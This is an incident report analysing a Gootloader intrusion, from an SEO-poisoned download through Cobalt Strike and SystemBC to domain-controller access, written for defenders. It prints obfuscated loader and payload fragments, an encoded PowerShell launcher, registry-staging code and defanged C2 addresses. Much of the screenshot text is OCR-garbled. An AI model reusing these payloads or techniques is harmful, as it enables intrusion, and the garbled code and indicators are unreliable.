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SEO Poisoning to Domain Control: The Gootloader Saga

Continues

By editor

Published: 2024-02-26 - Archived: 2026-04-06 01:30:23 UTC
Key Takeaways

o In February 2023, we detected an intrusion that was initiated by a user downloading and executing a file
from a SEO-poisoned search result, leading to a Gootloader infection.

e Around nine hours after the initial infection, the Gootloader malware facilitated the deployment of a Cobalt
Strike beacon payload directly into the host’s registry, and then executed it in memory.

e The threat actor deployed SystemBC to tunnel RDP access into the network, which aided in compromising
domain controllers, backup servers, and other key servers.

e The threat actor conducted an interactive review of sensitive and confidential files using RDP; however, we

have been unable to confirm whether any data was actually exfiltrated.

More information about Gootloader can be found in the following reports: The DFIR Report, GootloaderSites,
Mandiant, Red Canary, & Kroll.

Submit your feedback on this report for a chance to win free swag!

The DFIR Report Services

We provide a range of services including Private Threat Briefs, which includes 25+ private reports yearly. These
reports follow a format similar to our public reports but are more concise in nature and are published within weeks

of the intrusion.

Another service we provide is our Threat Feed, specializing in tracking Command and Control frameworks such

as Cobalt Strike, Metasploit, Sliver, and more.

Our comprehensive All Intel service includes the Private Threat Briefs and Threat Feed, with additional insights
such as private events, long-term infrastructure tracking, clustering of intrusion data, Cobalt Strike configurations,

C2 domains, and more.

We also offer a Private Ruleset which consists of exclusively curated rules using insights derived from Private
Threat Briefs and other internal cases. This ruleset currently encompasses 100+ Sigma rules, created from the

knowledge of 40+ cases. Each rule is mapped to ATT&CK and accompanied by a test example.

We invite you to reach out for a personalized demo of our services via our Contact Us page.
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Case Summary

The intrusion started in February 2023, when a user conducted a search for “Implied Employment Agreement”.
The people behind Gootloader frequently exploit terms related to contracts and agreements for search engine-
optimization (SEO) poisoning. In this instance, the user encountered a SEO poisoned result and clicked on it. This
action directed them to a compromised website that mimicked a user forum. On this webpage, a deceptive link

enticed the user to download what was supposed to be an employment agreement.

Upon opening the received zip file, the user saw a JavaScript file bearing a name similar to their initial search
term. Clicking on this file triggered the Gootloader malware’s execution process. This led to the creation of a new
JavaScript file within the user’s AppData folder. To ensure its continuous operation, Gootloader established a
scheduled task to run this newly created file, incorporating a logon trigger for persistence. The sequence ends with

the execution of an obfuscated PowerShell script, which calls another PowerShell script.

This script performs some basic discovery of information about the host using built-in PowerShell Cmdlets and
WMI queries. The script then reaches out to a rotating list of remote endpoints. Around nine hours after the initial
execution, one of the remote endpoints responded to the Gootloader malware, providing a download that was
written to two registry keys. Those registry keys contained an obfuscated launcher for Gootloader and a Cobalt

Strike beacon, which was loaded directly into memory.

Next, an instance of process injection into dllhost was detected, accompanied by network connections to several
remote hosts checking for LDAP and SMB. Additionally, LDAP network traffic directed to a domain controller
was observed, indicating discovery operations targeting various groups, including Domain Users, Administrators,

RDP Users, and Domain Administrators.
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Approximately ten minutes after these activities, the threat actor initiated lateral movement within the network.
This involved creating a remote service to disable Windows Defender’s Real-Time Monitoring. Subsequently,
they transferred a Cobalt Strike beacon executable over SMB and executed it as a service. Following this,

additional process injections and access to the LSASS memory, were observed on the compromised hosts.

The threat actor continued trying this method to move to various workstations and domain controllers. However,
on the domain controllers, Windows Defender remained operational and successfully thwarted the attempts to
launch the beacons. Despite these setbacks, the attacker continued their efforts from a compromised workstation,

utilizing PowerView to conduct additional discovery tasks.

To breach the domain controller, the threat actor adjusted their strategy. They introduced a new PowerShell script
onto a workstation and executed it, which was a PowerShell implementation of SystemBC. This script initiated
communication with a command and control server and established persistence by creating a registry run key.
Following this setup, the threat actor executed multiple commands through remote services on a domain controller
to ensure RDP access was enabled. They then logged into the domain controller over RDP by routing the

connection through the infected workstation using SystemBC.

Having gained access to the domain controller, the threat actor transferred a text file containing a series of
commands through their RDP session, aimed at further attempts to disable Windows Defender. Despite these
efforts, their attempt to deploy a PowerShell beacon seemed to be unsuccessful. Not deterred, they proceeded to
install Advanced IP Scanner on the domain controller and initiated a network scan. While that was running, they

explored a remote file share, during which they accessed a document containing password-related information.

The threat actor next turned their attention to a backup server, utilizing Windows Remote Management (WinRM)
to execute multiple commands, ensuring that RDP access to the server was enabled and open. After ensuring RDP
was available, they connected to the server via RDP and proceeded to review the backup configurations for the
environment. During this time, they also deployed the SystemBC PowerShell script on the server. After this
activity, there was a noticeable lull in the threat actor’s actions, with no significant activities recorded for the next

five hours. Upon returning, the threat actor resumed accessing hosts over RDP.

The threat actor resumed their search for sensitive information by looking through file shares for documents
pertaining to passwords, while operating from the backup server. Additionally, they executed Advanced IP
Scanner again, this time from the backup server. Throughout their RDP session, they interactively viewed data, yet
no direct signs of data exfiltration were observed during this phase of activity. After this, the threat actor’s

presence on the network ceased, and they were not detected again prior to being evicted from the network.

Submit your feedback on this report for a chance to win free swag!
Analysts

Initial Access
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The initial access was achieved by the user navigating to a SEO-poisoned website via Google search. Once

opened the site masquerades as a forum and with a download link to an ‘Implied Employment Agreement’

document.
id url title
Filter |[Filter Filter
1 1 https://go.microsoft.com/fwlink/?linkid=2132465&form=MT004A&0OCID=MT004A Welcome to Microsoft Edge
2 2 https://microsoftedgewelcome.microsoft.com/ Welcome to Microsoft Edge
3 3 https://microsoftedgewelcome.microsoft.com/en-us/ Welcome to Microsoft Edge
4 4 https://microsoftedgewelcome.microsoft.com/en-us/welcome?exp=e00&form=MT00A8 Welcome to Microsoft Edge
5 5 http://google.com/ Google
6 6 https://google.com/ Google
7 7 https://www.google.com/ Google
8 8 https://www.google.com/search?...
9 9 https://www.google.com/search?...
10 10 https://www.google.com/search?... agreement - Google Search
11 11 https://www.google.com/url?... implied employment agreement
12 12 /implied-employment-agreement/ implied employment agreement
@] (1 https _| mplied-employment-agreement/ A T e -

QUESTIONS AND ANSWERS

LogIn Sign Up

Questions News Search About Us

implied employment agreement?

#1 2023/01/25 7:16 pm

Emma Hill Hi, | am looking to implied employment agreement. A friend
of mine told me he had seen it on your forum. | will
appreciate any help here.

Newbie

#2 2023/01/26 2:46 am

Admin Here is a direct download link, implied employment
agreement.

In our previous analysis of Gootloader, detailed in our report, “SEO Poisoning; A Gootloader Story,” we revisit

the same initial access technique employed by threat actors. For a better understanding, we’ve included a video in
our previous report that visually demonstrates the user’s journey from SEO poisoning to encountering Gootloader

malware.

The ‘Implied Employment Agreement’ turned out to be a zip archive containing the GootLoader multistage loader.

We can see from the below that the zip was downloaded from a website on the internet (Zoneld=3).
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Parent Path File Name Zone Id Contents
e obe B
[ZoneTransfer]
users\ | \vo-n 1020 Implied employment t 70159.zip:Zone. Identifi Zoneld=3
Lulesss wlzomzzie mplied_employment_agreement_. -zip:rone.ldentitier HostUrl=https://aboveandbeyondmovers.com/download. php

Ausers\| R 0o 102ds Implied_employment_agreement_70159.zip

Below depicts the process of the start of the Gootloader infection:

User searches “Implied Employment ”
Agreement” via Google search . #
ﬁ lllllllllllllllllllll>

Downloads the Gootloader zip archive called
“Implied_Employment_Agreement_70159.zip

©

€rrrrnnnnnnnnnn

Zip file contains malicious
javascript “implied employment
agreement 24230. js”

: 3

Execution

Gootloader employs several executions across the whole infection chain.
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User searches “Inplied Eaployment Agreement” Gootloader stage 1 Powershell trying to fetch
. : o : > payloads by contacting 10 different domains:
. . « hxxps[:]//hrclubphilippines[.]com/xmlrpc.php
SEO Answer Created a scheduled task for « hxxps[:]//mediacratial.]ru/xmlrpc.php
User visits Wateringhole Website per:)f[ence and sets to start at « hxxps[:]//daraltanweer[.]con/xnlrpc.php
“https[:] ~con/: php” next logon « hxxps[:]//ukrainians[ . ]today/xmlrpc.php
Name: “InfrsiRfucture Technologies” « hxxps[:]//my-1ittle-kitchen[.]com/xmlrpc.php

" « hxxps[:]//montages[.]no/xmlrpc.php

Triggers: Logon Trigger « hxxps[ :1//pocketofpreschool [ . Jcon/xmlrpc. php
« hxxp[:1//blogl.]1ilianpraskoval . Jcz/xnlrpc.php
« hxxps[:]//sitmeanssit[.]com/xmlrpc.php

« hxxp[:]//artmodel[.]com[.]ua/xmlrpc.php

Doxnloads the Gootloader zip archive called
“Implied_Employment_Agreement_70159.2ip

HTTP 405

HTTP 200

Downloads
Payload 1: Obfuscated .NET Launcher
6 Payload 2: Obfuscated Cobalt Strike beacon
Payload 3: PowerShell Script

« PowerShell script Writes Obfuscated .NET launcher to
HKCU\SOF THARE\Microsof t \Personalizat 1on\geRBAAXTOCKN
« PowerShell script Writes obfuscated Cobalt Strike
Beacon to
“HKCU\SOF THARE\Microsof t\Personal ization\cbKStbjQBNFy
« Deobfuscates .NET Launcher and loads into memory
Drops and creates additional .JS
After the download, the user opens “Frontline Hanagement.js in
%APPDATA%\Roaning\Adobe
« Wscript.exe > cscript.exe

FRONTL1. js 7

°NI I + Decodes the Cobalt Strike beacon and launches it

LAUNCHER

“Inplied_Enploynent_Agreement_70159.zip” file and
executes “inplied employment agreement 24230.js””

« The Cobalt Strike beacon creates pipe
\\netsvc\1324

* The Cobalt Strike beacon reaches out to
C2 at 91.215.85[.]143

Cobalt Strike Beacon

The JavaScript file was executed after the user double-clicked on it within the opened zip archive.

winlog.task v process.parent.name \ process.name v process.command_line v

Process Create (rule: explorer.exe wscript.exe "C:\Windows\System32\WScript.exe"

ProcessCreate) "C:\Users NIl orData\Local\Temp\Temp1_Implied_employment_a
greement_70159.zip\implied employment agreement 24230.js"

Level -

Source EventID Task Category

(:D Information Microsoft Windows security auditing. 4688 Process Creation

] Information

Microsoft Windows security auditing. 4688 Process Creation

i) Information Microsoft Windows security auditing. 4688  Process Creation

Event 4688, Microsoft Windows security auditing.
General Details

O Friendly View (O XML View

+ System

- EventData
SubjectUsersid  5-1-5-21 | 5>
SubjectUserName
SubjectDomainName’
SubjectLogonld 0x2277bf
NewProcessld  0x2200
NewProcessName C:\Windows\System32\wscript.exe
TokenElevationType %%1936

Processld 0x1834

CommandLine "C:\Windows\System32\WScript.exe"
"C:\Users\ \AppData\Local\Temp\Temp1_Implied_employment_agreement_70159.zip\implied employment agreement
24230,js"

TargetUserSid  S-1-0-0

TargetUserName -

TargetDomainName -

TargetLogonld 0x0
ParentProcessName C:\Windows\explorer.exe
Mandatorylabel S-1-16-12288

Execution of the Javascript file drops another Javascript file named “Frontline Management.js”. This dropped
Javascript is heavily obfuscated.
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(wgqct, legw) {vbozpf = commonj(legw);for (yhxfyu = axcv; yhxfyu<=commonj(wqqct)-vbozpf; yhxfyu++) {if (putl(wqgqct,yhxfyu,
vbozpf)==1legw){zitly [commonj(zitly)] = putl(wqqct,sawm,yhxfyu-sawm);sawm = yhxfyu+vbozpf;}}zitly[commonj(zitly)] = putl
(wgqct,sawm) ;return zitly;}xiwakk = 459;function nvvkdarq(){you7(singf);whdbphol = feetf;while(thank4){try{plural2=moveb
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In addition to the file, a new scheduled task named ‘InfrSiRfucture Technologies’ was created. This task was then
invoked to run the new Javascript file. The infection chain continues with a PowerShell script. The execution

chain here is Svchost.exe(Scheduled Task) — Wscript.exe — Cscript.exe — Powershell.exe

processname  image parent_image cmdline parent_cmdline
wscriptexe  CAWindows\System32\wscript.exe CA\Windows\System32\svchostexe  CAWindows\system32\wscriptEXE FRONTL~1JS  CAWindows\system32\svchost.exe -k netsvcs -p -s Schedule
cscript.exe CAWindows\System32\cscript.exe CAWindows\System32\wscriptexe | "CAWindows\System32\cscriptexe” "FRONTL~1J5"  CAWindows\systern32\wscript.EXE FRONTL~1.JS
powershellexe | CAWindows\System32\WindowsPowerShell\w1.Ohpowershellexe | C\Windows\System32\escriptexe | PoWerSHEIL "CAWindows\System32\cscript.exe” "FRONTL~1J5"

The PowerShell script included URLs to ten remote servers:

WSCRIPL . SHELLOPENSHELL . APPLICALIO LEED\\ WRITELiNeStDiN

Not all the included remote servers were weaponized at the time of execution, so some servers answered with
HTTP 405 “Method Not Allowed”.
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Source ( -51792)

4745 5420 2§78 6d6c 7270 632e 7068 7820 [GET./xmlrpc.php.
4854 5450 231 2e31 @d@a 5573 6572 2d41 'MTTETITITTUTETT
6765 6e74 3a2@ 4d6f 7a69 6céc 612f 352e gent:.Mozilla/s.
3020 2857 696 646f 7773 2@4e 5420 3130 @.(Windows.NT.10
2e3@ 3b20 5769 6e36 343b 2078 3634 2920 .8;.Win64;.x64).
4170 786c 6557 6562 4b69 742f 3533 372e AppleMebKit/537.
3336 2028 4b48 544d 4c2c 206c 696b 6520 36. (KHTML, .like.
4765 636b 629 2043 6872 6f6d 652f 3130 Gecko).Chrome/1@
372e 302e 382e 3020 5361 6661 7269 2f35 7.8.8.8.5afari/s
3337 2e33 360d @ad3 6T6F 6069 653a 2043 37.36..Cookie:.H
3838 3330 3938 3543 363d 4834 7349 1141 [JE-H4s10e
4141 4141 4145 4145 5655 5857 2062 4d42 AAAAAEAIVUXW-+bMB
5439 4b2f 4332 5352 4e71 3834 784f 7935 T9K/C25RNQ@4xOy5
4f44 5465 494e 5932 5362 7@4a 5551 4551 ODTeINY2SbpIUQEQ
7475 6863 5248 4248 5274 4b72 5466 5867 tuhcRHBHREKrTfPg
4e68 4957 7557 6251 3867 664d 2b35 6c2f NhIWuMbQBgflM+51/

1854 5458 2131 2e31 2034 3635 284d B574]HTTR/1.1.485.Met
B6T 6420 debt 7420 416c 6CBF 7765 648d] hod.Not.Allowed.
|Bad4 6174 6533 2054 B8BTS 2¢c20 3032 2045

6562 2832 3832 3320 3139 3a35 363a 3230

2847 4d54 adBa 5365 7276 6572 3a20 4178 .GMT..5erver:.Ap
6163 6865 @dBa 416c 6cef 773a 2858 4153 ache..Allow:.POS
S48d @a55 7867 7261 6465 3428 6832 2¢68 T..Upgrade:.h2,h
3263 @d@a 436f Geece 6563 7469 6f6e 3328 2c..Connection:.
5570 6772 6164 652c 2063 6o6F 7365 @dBa Upgrade, .close..
5472 Glee 7366 6572 2d45 Ge63 6fed 696e Transfer-Encodin
673a 2863 6375 Gebb 6564 @d@a 436F 6274 g:.chunked..Cont
BS6e 742d 5479 7865 JazZz@ 7465 7874 278 ent-Type:.text/p
Gc6l 6962 3b63 6861 7273 6574 3d55 5446 lain;charset=UTF
2d38 ddBa adoa B

S84d 4c2d 5258 4328 7365 T276 6572 2861 XML-RPC.server.a
6363 6578 7473 2858 453 5428 7265 7175 ccepts.POST.requ
6573 7473 286T bebc 792e ests.only.

For the server that was weaponized, however, there is a different response. For this intrusion, that was
46.28.105[.]194 with the URL “hxxp:blog[.]lilianpraskova[.]cz/xmlrpc[.]Jphp”. The server then started answering
with the HTTP status code 200 “OK” and delivering the final stage in the Gootloader infection.

eventid | image sourceport | destinationport | destinationip
3 CAWindows\System3 2\ WindowsPowerShellw 1.0 powershell.exe | 53591 80 46,28.105.94
n tcp 53591 46.28.105.94 80 241 518,149 remnux URI - | blog.lilianpraskova.cz/xmirpc.php
547,387
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HTTP

Method >~ GET
Status code >~ 200
Hosts ~ blog.lilianpraskova.cz

User Agents - Mogzilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

Source ( :53591)

4745 5420 278 6d6c 7270 632e 7868 7820 JGET. /xmlrpc.php.|
4854 545@ 231 2e31 @d@a 5573 6572 2d41 HTTP/1.1..User-A
6765 6274 3a2@ 4d6f 7a69 6chc 612 352e gent:.Mozilla/s.
3820 2857 696c 646F 7773 204e 5420 3130 9.(Windows.NT.1@
2e3@ 3b2@ 5769 6236 343b 2078 3634 2920 .0;.Win64;.x64).
4178 706C 6557 6562 4b69 742f 3533 372e AppleMebKit/537.
3336 2828 4b48 544d 4c2c 206C 696b 6520 36. (KHTML,.like.
4765 636b 6F29 2043 6872 6F6d 652F 313@ Gecko).Chrome/18
372e 382e 3@2e 30820 5361 6661 7269 2§35 7.9.8.8.5afari/s
3337 233 360d 0ad43 6F6F 6b69 6532 2043 37.36..Cookie:.[
3838 3330 3938 3543 363d 4834 7349 2141 [ 2104
4141 4141 4145 414a 5655 5857 2062 4d42 AARAAEATVUXW+bMB
5439 4b2f 4332 5352 4e71 3034 754f 7935 TIK/CZSRNG@4xOy5
4f44 5465 494e 5932 5362 784a 5551 4551 ODTeINY25bpIUQEQ
7475 6863 5248 4248 5274 4b72 5466 5867 tuhcRHBHREKrTfPg
4268 4957 7557 6251 3867 664d 2b35 GC2f NnIWuMBQEgFM+51/
7478 726f 486a 2b42 7778 376a 4671 5977 txroHi+Bwx7jFgYw
6546 3175 6641 4b34 7648 4d73 7067 5645 eFlufAKAvHMspgVE
654e 446a 7750 4167 4661 7531 2f4a 7367 eNDiwPAgFaul/Jsg
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The final download contained three different components. Gootloader stage1(prameter $cXqt) which was an
obfuscated dll, Gootloader stage2(parameter $IbaY) which ended up as an exe file when deobfuscated. Finally, a
script wrote stagel and stage? into the registry before deobfuscating stagel and loading that into memory. Stagel
took care of the deobfuscation of stage2, the final payload for Gootloader, and loaded what we later will see is a
Cobalt Strike Beacon.

$cXqt="ud5a9000036000000L000O0OFFFF00B0bBAONAAROOAAHABOLOAHANONAAAABAAEAONBAEOOAAAABOONAAANONABOENBAABAONEAENOAAAAEANAAARNONABBOABAARAN.1FbadedBbUA9cd21b8014ccd215U686973207072
6F6772616d2063616e6e6f7U2062652072756e20696e20UUUF53206d6F6U65200d0d0a2U60000ABORAERB50L50000LUC01030068066a6300000080000600002B0002216b010hARAA2e00BANBOE600BAOB0ABO0ABTELIBRBBO02
90000006006000008001000200000000266000UAB0AEAEAEEAAEALOEREEAAEHANBAAAABENBNARN26060000ABEARN3ABLAB50000106000100000000010060010000AAAE0BNA10006E0EANBHAE0EAEAARE028UdEERB5300
CEGLEEEELEEELEEP L EELELE LEEEL L ELE LEE L L L L L L L L I L L EEE L L ELE L L L L L L L L L E L L L E L L EEE L L L L EL EEL L LE LEEEE L EEE LEELEEE EELE EEELE L PEL ELE EEE LT
©000000666600600806082006004300066600000B00606006002eT7U657871000000842d860000200066602600B00002000000000060600600B00BHEEEEA2000B06026727372630000860bB02000608660000000L60600030080

00000000000000000000000000UEOEAOLO2e72656C6F6300000Cc000000008000000082000000340000000000000000000008000000U60000L200000000000000008000000B0000000O60LUINBREAEANEROBLUBDOBOBEE200050
000000000000001e8, 500000a2a133002000b00000001000011021!

fe@loa 9133003001 00020000 a : 0708 D L2 :L: L2 0300520000 00011731d000E 06027d620000040016067b6a00000UETOI0000!

0000a7010000042d1314fe0603000006730b0OOOOABRO100 2b007e010000042 8 00000a 000 00002beb2beee 0001b300300fd0160000400001100721000000aT:
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65Ibay="yduasqvtqqvyqqffffqubpqqqqvvyqqqqqqqqaqqqqqqqqqqqaqqqqvvpqqvvenfbavevvbyv
iurevdvdvaryqqqqvvuvyuqvycviwvsvvctvwiiitqqqqqveqvertvbvwvrrryvwaqquyvyqvvigqvbvwtqquqovtq
vvyvvuyvuqadqaqqaqqqqaqqqogqovvyvvryvrqdqaqqqaqaqaqaqoqvrpivvyvvupqqqqqaqqaqqqvvfpsvvyvvb
vyqviweqqqqaqaqqqqvyqivevreoriyiwoyiwqvfpvtqqivvyquvyqoyyvyqqqqqqaquvyqtvyvreirototqgqevyqq
yvuqqgsvvyqvviqqyavyqqqqqogqvvyqtvevreyturuyqqvvreqqvvavvyquvrqquevygqqaqqqaqqvvygtvevreoyi
yrqqqqqqaqadadaqaqaqaqqaqqaqaqaqqqqaaqaqqaqadadadaqaqaqoqaqqqqqaqqaqaaqadadaqaqaqqaqaqaeaqoqqq
qqqqqqqqqqqqqqqqqptecwccovyryvvoqidepowwiqvptcywcctpdbyriqquvpdbiqqvvuouiutptecwvpbyyryr

ion bkray($text,$pn) {
"HKCU: \SOFTWARE\Microsoft\Personalization\$pn";
Not (Test-Path $hr)) {

$text -split '(\wiueee})’
i -1t $arr.length;
New-ItemProperty -Path $hr -Name $i -PropertyType String -Value $arr[$i] | Out-Null;

bkrAY $Iba¥ "cbKStbjQBNFy";
bkrAY $cXqt "geRBAJXTDCKN®;

start 'C:\wWindows\SysWOWE4\WINGOWSPOWErsne LL\VL. U\poWersneLl. exe’ —arg '/com C:\Winaows\syswowes\winaowsrowershell\vl.e@\powershell.exe "/"enco" NgAwWA"DKAMg"A2"A"DUAOQAGADAAQWEZ"
AGW"AZQB"LAHA"AIA"At"AHMAIAAC"AD"IA"MAAPADSA" NGAWA"DIAMQAZADQAMWA"BADSA" JA"BZ"AHOAZAAQA "CIAAAAIAC" SAIGAI"A"CSA" IgBrAGMA" IgATACI"AIGATAC" IA"dQAG "A"Fu"AcWB" VA" C" IAK "WAIACIAKWAIAGY
Ad"AB3ACIAKWAIACIAKWAL"AG"EACGBLA"Fu"Ab"QB"pACIAK"WALIACIAK"WAIAG"MACGBVACIAK" "WAL"ACI"AKWAL"AHNADWBM" AHQAXAB"QAGUAC"g"A1ACS"A"IgAi"ACSAI"gBZA"G" 8" ALgArACIALg"Ar"ACI"AbgBhA"G"W"AL
"gATA"CIAIg"ArACIAaQB6AGEAdABPAC" IAKWAIAC" IAKWA" iAG"8AbgBCA"GCAZ"Q"B" SAEIAQQB" KAFgAVABE "AEM"AawBOACIAOWAKAH"QARWBTAFCASWA" 9AGC"Ac" A" AGACOACAB "hAHQ" Aa" AAgACQACWBUAG "QAOW "BMAGBA" ©
"g"Ag"A"CgAJABBA"ECAUNB"XAESA"ZWBJAEEAP" QA" WADSAJABBAECAUWBXAESA" ZWBQAEEA " TA At "A"GWAZQ "AgA" DCAMAALADS " AJAB"BAECAUWBXAE" SAZWBQA" EEAKWATA"CK"A"ew"BU"AHIA" e"QB7"AC"QA"TWBIAGY "AbgB
APQAKAHQARWBT " AF cASWAUACQAdABHAFMAVWBLAGCcAag" BBAHOAQWBhAHQAYWBoAHSAFQB9"AD"sAJ"ABBA"EcAU"wBX " AESA" ZWBQAEEAPQAWADSA " dwB" 0A"G"k"AbA"BLACgAJABBAHIA"dQBLACKAewAKA"H"QA"RwW"BTAFC
"A"SwBNAGOAQQATA" CSAOWAKA"GSADWASAF "sAbQBhAHQAaABJA" DoAOgAQAC "TACH" ALAC" SAIg"AiA"Cs, g"BXAHIAIGArACI"AIgATACIAdAAIACKAKA"AKAHQ"ARWBTAFCA" SWBNAGOAQ" QA" pAD" sAaQB " mACAJABTAG" BAT
AAtAG"UAC"QAgADEA"MAA"WA" DAAKQB7AG"IAC"gBLA"G"EAaw" BOAHBAJABDA " FYAYQ" BXA" DEAJAB" PA"E "gAaAB "UAFAALgBYAGUACABSA"GEAYWBLACQATQA ] "ACIALAAKAG" s "Abw"A"pADSAJABSA"F"MAZgE"KAG"©AP"QBbA"
GIAe"QB"OA"GU" - MAC"IAKW"AIAGUAIGATACIAIGA" rACIAdY KAK"A"AKAEM"AVgBhAFCA"Lg! "YAC E"sAZwBq
BAEC, { D "\ "EAT JABBAECA
b"wWBCAH"KAIgA: "UA"FMA"d"Q"BiAHMA"dABYA
TAGMAdABp! Ab | "0ACIATAAIACSAIgAiACS"
AoACKAOWAL"AD"AAOQAS"A™

DAA"M"gA®"ADgA"MgA"TAA="=

The encoded PowerShell command that ran is beautified and decoded below.

winlog.task v process.parent.name Vv process.command_line v
Process Create (rule: powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /enco
ProcessCreate) NgAwADkAMgA2ADUAOQAGADAAOWBZAGWAZQB1AHAATAAtAHMATAAOADIAMAAPADSANGAWADIAMQAZADQAMWABADSAJABZAHGAZAA9

ACTAaAAiACSATgA1ACSATGBrAGMATGArACTATGArACTAQA6AFWACHBYACTAKWAACTAKWA1AGYAQAB3ACTAKWA1 ACTAKWALAGE...
Here’s the decoded value:

609265940; sleep -s (20); 60213434; $sxd="hkcu:\software\microsoft\Personalization\geRBAdXTDCkN"; $t!
Decoding the JavaScript stager payload manually could be time-consuming, so we used this fantastic script made

by Mandiant. This is a collection of scripts used to deobfuscate Gootloader malware samples. We used the

GootlLoaderAutoJSDecode.py Python script that automatically decodes .js files using static analysis.
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gootloader-main % python3 GootLoaderAutoJsDecode.py "implied_employment_agreement_24230.js"

GootLoader Obfuscation Variant 2.1 or higher detected
GootLoader Obfuscation Variant 3.0 sample detected.

File and Scheduled task data:

Log File Name: Production Efficiency.log
JS File Name: Frontline Management.js
Scheduled Task Name: InfrSiRfucture Technologies

Data Saved to: FileAndTaskData.txt

Script output Saved to: GootlLoader3Stage2.js_

The script will new attempt to deobfuscate the GootlLoader3Stage2.js_ file.
GootLoader Obfuscation Variant 3.0 detected
If this fails try using CyberChef "JavaScript Beautify" against the GootLoader3Stage2.js_ file first.

Script output Saved to: DecodedJsPayload.js_

Malicious Domains:

hxxps[:]//hrclubphilippines[.]com/xmlrpc.php
hxxps[:]//mediacratial[.]lru/xmlrpc.php
hxxps[:]//daraltanweer[.]com/xmlrpc.php
hxxps[:]//ukrainians[.]today/xmlrpc.php
hxxps[:]//my-little-kitchen[.]com/xmlrpc.php
hxxps[:]//montages[.]lno/xmlrpc.php
hxxps[:]//pocketofpreschool[.]com/xmlrpc.php
hxxp[:1//blog[.]1lilianpraskoval.]cz/xmlrpc.php
hxxps[:]//sitmeanssit[.]com/xmlrpc.php
hxxp[:1//artmodel[.]com[.]Jua/xmlrpc.php

Persistence

Gootloader

A scheduled task was created during the initial Gootloader execution. This task was run on demand to execute the

next stage in the Gootloader malware chain, and setup a Logon Trigger to maintain persistence on the beachhead.
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version="1.0" encoding="UTF-16"
version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"

\InfrSiRfucture Technologies

id="LogonTriggerId"
true

IgnoreNew
true
true
true
true

Context="Author"
wscript

FRONTL~1.JS
C:\Users "\AppData\Roaming\Adobe

id="Author"

InteractiveToken
LeastPrivilege

SystemBC

Later in the intrusion the threat actor deployed a SystemBC PowerShell script. They setup persistence for this

script by using an autorun key named ‘socks_powershell’
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Privilege Escalation

The use of the Cobalt Strike ‘getsystem’ command was evident, with cmd being spawned from the beacon
(DLLHOST) to elevate to a ‘SYSTEM’ context.

Parentimage = Fd Image = Fd CommandLine =
C:\Windows\System32\dllhost.exe C:\Windows\System32\cmd. exe C:\Windows\system32\cmd.exe /c echo f7892a3abbe > \\.\pipe\2cf@79
C:\Windows\System32\dllhost.exe C:\Windows\System32\cmd. exe C:\Windows\system32cmd.exe /c echo SedbldZe@ca > \\.\pipe\4fcc39

Details of the technique are documented here: https://www.cobaltstrike.com/blog/what-happens-when-i-type-

getsystem

Throughout the intrusion, new logon sessions were initiated using tokens created from harvested credentials.

Initially, a sacrificial process, dllhost.exe, was launched from the PowerShell payload using the credentials of the

compromised beachhead account.

CommandLine: C:\Windowg\sysnative\dllhost.exe
CurrentDirectory: C:\Users
user :

LogonGuigef33edidaf-706d-63c8-bf77-220000000000]
LogonId:j@x2277BF

—
TerminalSessionId: 2
IntegrityLevel: High
Hashes: SHA1=2CE12A317BEBF8293F3544433A550972A5967996,MD5=08EB78ESBEQG19DF044C26B14703BD1FA, SHA256=E
ParentProcessGuid: {995d7daf-925b-63dc-8306-0000000003007
ParentProcessId: 5828
ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.08\powershell oxa
ParentCommandLine: "C:\Windows\Syswowﬁd\WindowsPowerShell\v1.‘hpowershell.exe" /enco NgAwADkAHgAEADI

Using a harvested credential, a new logon session was created. This was logged under Windows eventID 4624,

showing the initial Logon ID, and followed the new Logon ID using the target user account.
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EventLode=460.24

SourceMame=Microsoft Windows security auditing.
Type=Information

RecordNumber=56215

Keywords=Audit Success

TaskCategory=Logon

OpCode=Info

Message=An account was successfully logged on.

Account Domaln:

Logon ID:

Logon Information:
Logon Type: 9

Restricted Admin Mode: -

Virtual Account: No
Elevated Token: Yes
Impersonation Level: Impersonation

New Logon:

Security ID: Beachhead User

Account Name:

Account Domalin:
Logon ID: @x17F2773
Linked Logon ID:

Metwork Account Name:
Targeted User

Metwork Account Domaln:

Logon GUID: U0 UoUU-000e-U00D-ouug-00uuuuoueen ;

Process Information:
Process ID: @x1cic

Process MName: C:\Windows\System32\svchost.exe

The newly created logon session (Logon ID) was assigned special privileges (elevated) as detailed in eventID
4672.
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LogName=5g
EventCoge
EventType=u

SourceName=Microsoft Windows security auditing.

Type=Information

RecordNumber=56217

Keywords=Audit Success

TaskCategory=Special Logon

OpCode=Info

Message=Special privileges assigned to new logon.

Subject:
Security ID:
Beachhead User
Account Name:
Account Domain:
Logon ID: Ox17F2773
Privileges: SeSecurityPrivilege

BeTakeOwnershipPrivilege
BelLoadDriverPrivilege
SeBackupPrivilege
SeRestorePrivilege

SeDebugPrivilege
EeSystemEnvironmentPrivilege
SelmpersonatePrivilege
eDelegateSessionUserImpersonatePrivilege

Resulting in the CMD with the new logon session with elevated privileges
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4688

SourceName=Microsoft Windows security auditing.
Type=Information
Recorddumber=56218
Keywords=Audit Success

TaskCategory=Process Creation

OpCode=Info
Message=A new process has been created.

Creator Subject:

Security ID:
Account MName:
Account Domain:
Logon ID:

Target Subject:

Process

Security ID:
Account Name:
Account Domain:
Logon ID:

Information:
Mew Process ID:
New Process Name:

Token Elevation Type:

Mandatory Label:
Creator Process ID:

Creator Process Name:
Process Command Line:

ex3ET

Beachhead User
Bx17F2773
@xa3c
C:\Windows\System32\cmd. exe
¥%1936

S-1-16-12288
8x1f8c

:\Windows\System32\dllhost.exe

:\Windows\system32\cmd. exe /¢ echo S5ed63d2eBeca > \\.\pipe\4fcc39

The threat actor targeted several accounts using the same technique, these were:

85:11:
05:12:
05:13:
85:15:
05:16:
85:16:

05:16:

The threat actor pivoted across compromised accounts and across several endpoints with relative ease.

EventCode =

F 4 ComputerName = g Account_Name =
4672 Beachhead User / Endpoint
4672
Lateral Movement [2"¢ Endpoint & User]
4672

Lateral Movement [2™ Endpoint &

4672 SYSTEM] SYSTEM
4672

4672 Lateral Movement [DC & Privileged User]
4672
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Multiple detection opportunities exist, including correlating atypical logons to high-privilege accounts from
unexpected accounts or workstations, and the assignment of special privileges to a logon ID by standard users.
